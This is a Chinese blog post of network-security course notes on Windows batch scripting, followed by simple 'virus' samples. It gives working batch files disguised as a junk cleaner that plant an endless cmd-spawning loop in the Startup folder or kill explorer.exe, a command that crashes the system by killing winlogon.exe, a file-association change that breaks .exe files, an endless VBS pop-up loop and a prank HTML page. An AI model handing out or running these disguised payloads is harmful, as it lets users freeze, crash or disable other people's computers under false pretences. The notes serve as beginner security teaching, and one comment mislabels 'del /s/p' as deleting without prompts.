千锋教育网络安全学习笔记2:批处理、病毒

目录

 

初始批处理

  一个简单的批处理程序

    1、引入

    2、echo输出

    3、变量

    4、if 、goto

病毒

  简单的批处理文件一

  简单的批处理文件二

  最简单的病毒

  最简单的病毒解药

  最简单的脚本

  最简单的死循环脚本

  整人网页

 


初始批处理

  • 如何批处理

  命名: 后缀名为.bat

  方法:创建一个记事本文件,然后将其后缀名改为.bat

  • 批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条
  • 运行环境:DOS窗口

一个简单的批处理程序

1、引入

 

1 d:
2 cd \
3 cd temp
4 del *.* /s/p  #无询问状态下删除所有文件

我们把几条dos命令会聚在一起,这就进入了批处理的范畴

2、echo输出

 1 @echo off  #关闭回显
 2 color 0a   #改变颜色 color?查询如何使用
 3 title  飞哥小程序v1.0 #设置程序名字
 4 
 5 echo =====================
 6 echo                        菜单
 7 echo             1、修改管理员密码
 8 echo             2、定时关机
 9 echo             3、退出本程序
10 echo =====================
11 
12 pause    #暂停一哈屏幕给俺瞅瞅

 

3、变量

 

 1 @echo off  #关闭回显
 2 color 0a   #改变颜色 color?查询如何使用
 3 title  飞哥小程序v1.0 #设置程序名字
 4 
 5 echo =====================
 6 echo                        菜单
 7 echo             1、修改管理员密码
 8 echo             2、定时关机
 9 echo             3、退出本程序
10 echo =====================
11 
12 pause    #暂停一哈屏幕给俺瞅瞅
13 
14 
15 set /p usename=请输入用户名:     #获取输入的字符串,并将其赋值给变量username
16 set /p password=请输入密码:
17 net  user %username% %password%  >nul    #修改账户密码  
18 #其中>nul代表若成功执行则把结果输出到虚空里,而不是屏幕上哦
19 
20 pause

注:上述代码中#号之后的仅为注释,使用时要删除掉

4.if、goto

 

 1 @echo off
 2 color 0a
 3 title 飞哥小程序v1.0
 4 
 5 
 6 :menu  #相当于一个以menu为名字的分支
 7 cls     #清屏
 8 echo=======================
 9 echo                        菜单
10 echo                1、修改管理员密码
11 echo                2、定时关机
12 echo                3.退出本程序
13 echo=======================
14 
15 
16 set /p answer=请输入您的选择:  #answer后面千万不能有空格
17 
18 if %answer%==1 goto 1
19 
20 if %answer%==2 goto 2
21 
22 if %answer%==3 goto 3
23 
24 echo 别乱输入哦,只能输入1、2、3哦
25 
26 pause
27 goto menu
28 
29 :1    #相当于一个以1为名字的分支
30 set /p u=请输入用户名:
31 set /p p=请输入新密码:
32 net user %u% %p% >nul
33 pause
34 goto menu
35 
36 :2
37 set /p time=请输入时间:
38 shutdown -s -t %time%
39 set /p x=是否取消(1:是,0:否):
40 if %x%==1 shutdown -a
41 
42 pause
43 goto menu
44 
45 
46 :3
47 exit

 

 常用的shutdown命令可在DOS窗口输入shutdown ?查看使用方法

 

病毒

测试环境:虚拟机win2003

注:虚拟机上随你玩,真机玩了等重装吧

 

简单的批处理文件一

 功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出DOS窗口直至电脑死机

 

 

 1 @echo off
 2 title 系统垃圾清理
 3 color 2f
 4 echo ====若杀毒软件恶意拦截,请选择【允许程序的所有操作】====
 5 echo.                      #代表空出一行
 6 echo.
 7 echo :start>c:\windows\windows.bat        #这句话的含义是输出:start这句话并写到后面的文件中
 8 echo start cmd >>c:\windows\windows.bat   #这句话的含义是输出start cmd这句话并以追加的形式写到后面的文件中
 9 echo goto start>>c:\windows\windows.bat
10 copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\Startup\" >nul
11 #上面一行表示将文件拷贝到当前用户启动菜单位置
12 if %errorlevel%==0 goto next
13 copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
14 #%USERPROFILE%是win定义的一个系统变量,代表当前用户所在的系统目录
15 if %errorlevel%==1 goto error
16 :next
17 echo.
18 echo.
19 echo   ====== 垃圾清理中,请不要关闭窗口======
20 echo.
21 ping -n 5 127.0.0.1 >nul
22 echo.
23 echo   ====== 垃圾清理完毕,共清理垃圾500M===
24 echo.
25 echo.
26 echo   ====== 建议立即重启电脑
27 pause
28 goto ex
29  
30 :error
31 echo.
32 echo.
33 echo   ====== 程序运行失败,请使用【管理员权限】重新运行!======
34 echo.
35 pause
36 goto ex
37  
38 :ex
39 exit

 注:上面的启动目录只针对winxp和win2003,其他系统的请自行百度 

简单的批处理文件二

功能:伪装桌面清理程序,强制终止桌面程序

 

 1 @echo off
 2 title 系统垃圾清理
 3 color 2f
 4 echo ======若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====
 5 echo .
 6 echo .
 7 
 8 :next
 9 echo .
10 echo .
11 echo ======垃圾清理中,请不要关闭窗口哦======
12 echo .
13 ping -n 5 127.0.0.1 >nul 2>nul
14 taskkill /im explorer.exe /f >nul 2>nul   #杀掉相应的进程,其中/im 后面跟的是进程名 /f强制
15 echo .
16 ping . =====完了,你系统废了,桌面程序不见了,不信你看看======
17 ping -n 5 127.0.0.1 >nul 2>nul
18 echo .
19 start c:\windows\explorer.exe      #开启对应的进程
20 echo .
21 echo ======一切尽在我掌控中,已然是修复好了,你瞅瞅桌面程序=====
22 pause

 


 

 最简单的蓝屏炸弹文件

ntsd -c q -pn winlogon.exe

分析:

ntsd #杀死进程

ntsd -c q -pn 进程名 #强制杀死进程

蓝屏原因:winlogon.exe进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏!

对win2003有很大的杀伤力,但对win2008基本没杀伤力

 最简单的病毒

1 assoc .exe=txtfile

分析:
修改文件关联,导致文件无法正常打开

 

 测试效果如下图:

 


 

最简单的病毒解药

1 assoc .exe=exefile
2 #即将后缀改为之前的一一对应

最简单的脚本

方法:将下面代码写入记事本,并将记事本的后缀名字改为.vbs

 

1 msgbox "我最帅!"

最简单的死循环脚本

1 do
2 msgbox "smile"
3 msgbox "jhw"
4 msgbox "hhh"
5 loop

效果:窗口无法关闭

解决方法:

vbs是使用微软自带的wscript.exe来编写的

打开任务管理器将其对应的进程杀死即可

整人网页

 将以下代码写到记事本中保存后改后缀名为.html即可

 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4     <meta charset="utf-8">
 5     <meta http-equiv="X-UA-Compatible" content="IE=edge">
 6     <title>很恶心的常见整人效果的代码</title>
 7     <link rel="stylesheet" href="">
 8 </head>
 9 <body>
10zhengren      <a href="" onmouseover="alert('飞哥真帅');
11 alert('飞哥真帅');
12 alert('飞哥是真帅');
13 alert('飞哥是真帅');
14 alert('飞哥是真的帅');
15 alert('同意不!');
16 alert('不同意?');
17 alert('去死吧');
18     ">不许把鼠标移到这里!</a>点了真爽!!!
19 </body>
20 </html>

 

posted @ 2020-12-02 20:46  jhw-  阅读(428)  评论(0)    收藏  举报